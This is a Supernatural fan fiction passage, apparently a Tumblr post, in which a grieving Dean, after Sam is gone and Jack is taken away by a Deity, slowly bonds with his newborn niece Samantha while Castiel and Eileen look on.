A gasp from the angel holding him gets Deans attention. He didn’t even realize that he was still standing in Cas’ arms.

“Thank you!” Cas whispers, holding Dean a little tighter.

The deity smiles, Sam’s smile. Seeing it, Dean feels his heart lift slightly even though he doesn’t understand why.

“It’s because he’s safe Dean.” The Deity explains. “And I have just proven to you that he still exists and that I am paying attention to who he was.” He gives Dean a serious look. “What you are feeling is hope. And even as you miss your brother, you will still feel it, and in time it will grow until it overshadows everything else.”

Dean looks unconvinced and stiffens until Cas drops his arms and lets him step away. The Deity smiles again. “Castiel, you have done so well. I truly could not have asked for a better guardian for this family.” Cas lowers his head as the Deity steps forward and places a fond hand on Cas’ shoulder. “And so I want you to stay and continue to love and protect them as only you can.”

Cas smiles and nods curtly. “It would be my honor.”

The Deity turns his attention to Jack. “You will come with me. You have a lot to learn and much responsibility will be yours.”

The wire holding Dean’s rage in check begins to fray. “You’re taking him too? What the hell? My brother wasn’t enough? They’ll be nothing left when you get done with us!”

Cas places a hand on his shoulder. “It’s just for a little while, Dean. Jack has to be trained, taught to use his powers and understand his purpose.”

Dean’s eyes flash. “His purpose? Just being our kid isn’t enough?”

“I’ll always be your kid, Dean.” Jack steps forward and hugs Dean fiercely. It’s the first real hug they’ve shared since Jack returned. “I love you.”

Through another sob and more tears Dean whispers. “I love you too, Jack. Always will.”

After they’ve gone, Dean spends days drinking himself into oblivion and then months at a time away from the bunker fighting monsters, both internal and external. Cas stays behind to watch over Eileen and the baby growing inside of her.

Sam’s baby, though Dean doesn’t want to hear anything about it. He comes home one time from a particularly nasty hunt, unshaven, having not showered for days, still covered with the blood and gore from Shifters he took apart. Cas and Eileen have decided to make Sam’s old room the nursery and are in the process of building the changing station when Dean walks in. He stands in the doorway watching them until Cas looks up at him hopefully.

“We could use some help if you want to join us.” He offers.

Dean’s eyes travel to Eileen’s swollen belly and for a second his eyes soften before the hardness returns to them. “I need a shower.” He says and wanders off.

Jack returns a few days after the baby, a girl named Samantha Mary, is born. Dean is still choosing to stay away from the bunker most of the time and stays as drunk as possible when he is there. He will not go anywhere near the baby and deliberately leaves whatever room he is in if someone comes in with her.

“It’s breaking my heart.” Eileen confides to Cas one night as they are putting Samantha down for the night. “She’s almost a month old and she looks just like Sam. Dean would fall so in love with her if he would just let himself get near her.” She sighs looking down at her daughter. “She needs her uncle.”

Cas agrees. “And he needs her just as much.” He follows Eileen as she places Samantha in the bassinet. The little girl has recently started learning the make real sounds and gurgles and coos. Dean would absolutely fall in love with her. He taps Eileen’s shoulder to get her attention. “We can’t force it.” He tells her. “Just give it time.”

A few nights later, Dean is coming back from a hunt. He enters the hallway on the way to his room where he can drink himself into sweet oblivion when he hears the baby begin crying. He pauses outside the door and listens, the sound tugging painfully at his heart. She’s in pain, or frightened, or uncomfortable in some way.

She needs help.

Without thinking, Dean lays one hand flat against the door while the other one reaches for the knob. He turns it without realizing he’s doing it and the door is open. The cry is painful and helpless sounding. He moves forward and finds himself looking down into the bassinet, his hands balled at his sides. Her feet are pulled up toward her abdomen, it’s something he knows babies do when their stomach hurts.

She’s in pain.

His heart constricts as he reaches down and gently lifts her, cradling her against his chest and making soothing noises. Glancing around he spies the bottle warmer with the built-in bottle cooler. A marvel of modern convenience! Removing a bottle from the back he places it into the warmer to take the chill off.

She is still crying. Now what? Her diaper feels heavy. He brings her to the changing station and makes quick work of fixing that problem. She even stops crying for a minute and looks at him with large curious eyes.

Sam’s eyes.

Dean’s breath catches as he lifts her again, placing her head against his shoulder and closing his eyes. He was so young, but he can still remember holding Sam like this. Once the bottle is finished, and he sits in the rocking chair, cradling her against the crook of his arm as she drinks. He can’t help smiling when she sighs in relief. Without thinking he presses his lips against the top of her head and that warm, protective feeling he still recognizes comes to life within him.

He hears Sam’s voice in his head, remembers Sam’s words, That is why Eileen and I decided that the baby was so important.

He looks down into his niece’s face and sees his brother looking back at him. Tears flood his eyes until he bows his head to kiss hers again.

“It’s okay, Sammy.” Dean whispers. “I’ll always be here to take care of you.”

In the hallway Cas smiles and heads back to the living room to continue the game of Halo he and Jack were playing.

#supernatural

0 notes